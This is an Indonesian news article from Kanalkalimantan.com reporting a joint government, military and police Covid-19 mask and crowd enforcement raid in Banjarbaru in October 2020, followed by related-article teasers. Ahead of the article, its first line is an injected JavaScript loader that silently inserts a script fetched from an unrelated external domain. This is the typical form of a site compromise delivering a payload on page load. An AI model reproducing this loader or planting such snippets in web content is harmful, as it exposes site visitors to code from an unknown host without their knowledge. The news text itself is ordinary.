(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru bersama TNI Polri menggelar giat pendisiplinan protokol kesehatan Covid-19, di kawasan Lapangan Murjani, tepatnya di depan Balai Kota Banjarbaru, Sabtu (3/10/2020) malam. Hasilnya, petugas gabungan menjaring lebih dari 60 orang yang melakukan pelanggaran.
Dari pantauan Kanalkalimantan, giat ini dilakukan dengan menyebar petugas ke seluruh titik lokasi kerumunan masyarakat yang tengah asik bersantai di seputaran kawasan Lapangan Murjani.
Giat dipimpin secara langsung Pjs Wali Kota Banjarbaru Bernhard E Rondonuwu didampingi Kapolres Banjarbaru AKBP Doni Hadi Santoso, dan turut diikuti oleh sejumlah SKPD di lingkungan Pemko Banjarbaru, seperti Satpol PP, BPBD, hingga Dinas Pariwisata.
PPNS Seksi Opsdal Satpol PP Banjarbaru Yanto Hidayat, mengungkapkan bahwa sasaran dalam giat ini adalah mendisplinkan masyarakat yang tidak mengenakan masker, berkerumun dan tidak menjaga jarak satu sama lain.
Puncaknya, giat dilakukan dengan memblokir pengendara yang lalu lalang untuk dilakukan pemeriksan.
“Seperti razia motor, jadi petugas memblokir jalan dan menghentikan pengendara. Lalu, pengendata yang tidak mengenakan masker akan kita bawa ke kantor Satpol PP untuk diberikan sanski sesuai dengan Perwali Nomor 20 Tahun 2020,” katanya.
Adapun para pelanggar yang terjaring oleh petugas pada malam ini, didominasi oleh kalangan muda mudi. Ada yang kedapatan sedang berpacaran dan ada pula yang hanya sekedar berkumpul bersama teman-teman dan kerabat.
Yanto mengatakan bahwa setiap regu petugas yang tersebar di sejumlah titik lokasi menjaring sedikinya 8 – 10 orang yang melakukan pelanggaran. Namun begitu, untuk saat ini pihaknya hanya mengenakan sanksi ringan kepada para pelanggar.
“Totalnya ada 60 lebih yang kita amankan. Nah, mereka kita berikan sanksi ringan dulu. Salah satunya, sanksi tertulis dengan membuat surat pernyataan agar tidak melakukan kesalahan yang sama. Kalau keesokan harinya mereka kedapatan lagi melakukan pelanggaran, maka kita akan kenakan sanksi berat yakni denda administratif sebesar Rp 50 ribu,” tuntas Yanto.
Menariknya, aksi kocak juga mewarnai giat malam ini juga tatkala sejumlah muda mudi yang melakukan pelanggaran diharuskan menyanyikan lagu nasional. Bahkan, ada pula yang disuruh membaca surat Al- Fatihah.
Tak hanya soal hukuman, Pemko Banjarbaru bersama TNI Polri yang tergabung dalam Satgas Covid-19 juga turut memberikan edukasi dan himbauan kepada mereka yang masih saja ngotot melanggar. Termasuk, memberikan memberikan masker kepada para pelanggar. (Kanalkalimantan.com/rico)
Reporter: Rico
Editor: Cell
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.